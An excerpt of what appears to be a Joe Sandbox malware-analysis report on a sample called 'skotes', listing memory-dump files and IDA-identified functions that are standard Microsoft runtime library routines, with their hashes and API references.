Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 54143390a040226fcdd60a9b2c44b51a71f5d520749cdbbb2a0a9530b302f490
Instruction ID: e8a6ee1bd72e5e41a221d8c226619a8c9534515eabfb4a3ffcc95f35b33489a2
Opcode Fuzzy Hash: 54143390a040226fcdd60a9b2c44b51a71f5d520749cdbbb2a0a9530b302f490
Instruction Fuzzy Hash: 5881CF7090024DABDF16DF94C951BFE7FB2AF65348F044098EE412B292C7768D16DB61

Function 001F2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001F2982

Part of subcall function 001F24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001F2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001F29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001F29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001F29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 001F2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 001F2AD8

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 9404afb62ce681603e6d3ea298750af4ce688ef5b69c29c134a058a16fcf5de8
Instruction ID: 5a577a25c889cf1ac6449576ee10df93c6b9dfc55694941f58092865c8e21e16
Opcode Fuzzy Hash: 9404afb62ce681603e6d3ea298750af4ce688ef5b69c29c134a058a16fcf5de8
Instruction Fuzzy Hash: C971BA3090024DAFDF15CFA4C891BBEBBB2AF55304F044099EE416B2A2C772DD16DB61

Function 001E2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001E2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001E28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001E2913

Part of subcall function 001E07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 001E080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001E2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001E29DB

Part of subcall function 001E07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001E07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001E29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001E2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001E2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001E2A7E

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b3e506ca283c155bb6541a6feda7252d0c6f5dd7b690d5dfe95a143232a6897d
Instruction ID: 1d0f4996ff0da323ea98c0035dc92b25f886a1b011b764e8162e795df6dafd55
Opcode Fuzzy Hash: b3e506ca283c155bb6541a6feda7252d0c6f5dd7b690d5dfe95a143232a6897d
Instruction Fuzzy Hash: BB812831A009A6AFCB28CFAAE8A457DB7F9BF98308B24903DD441E7655D7705D42CB50

Function 001E69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001E6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001E6A51
List.LIBCONCRT ref: 001E6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001E6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001E6AB9
List.LIBCONCRT ref: 001E6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001E6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001E6B20
List.LIBCONCRT ref: 001E6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001E6B68

Part of subcall function 001E5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001E5EF7
Part of subcall function 001E5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001E5F09

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: c2233c4cf4560b7efebc46bf2c86d5496fd8c094f2e0f0f4400137aed6f308d6
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 54517F70A00649AFDB08DF66C495FEDB3A9BF68344F444079E905AB282DB30AE45CB90

Function 001F52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001F53A0
type_info::operator==.LIBVCRUNTIME ref: 001F53C7
___TypeMatch.LIBVCRUNTIME ref: 001F54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 001F55AE
CallUnexpected.LIBVCRUNTIME ref: 001F5650

Strings

csm, xrefs: 001F53FE
csm, xrefs: 001F534D
csm, xrefs: 001F52E0

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
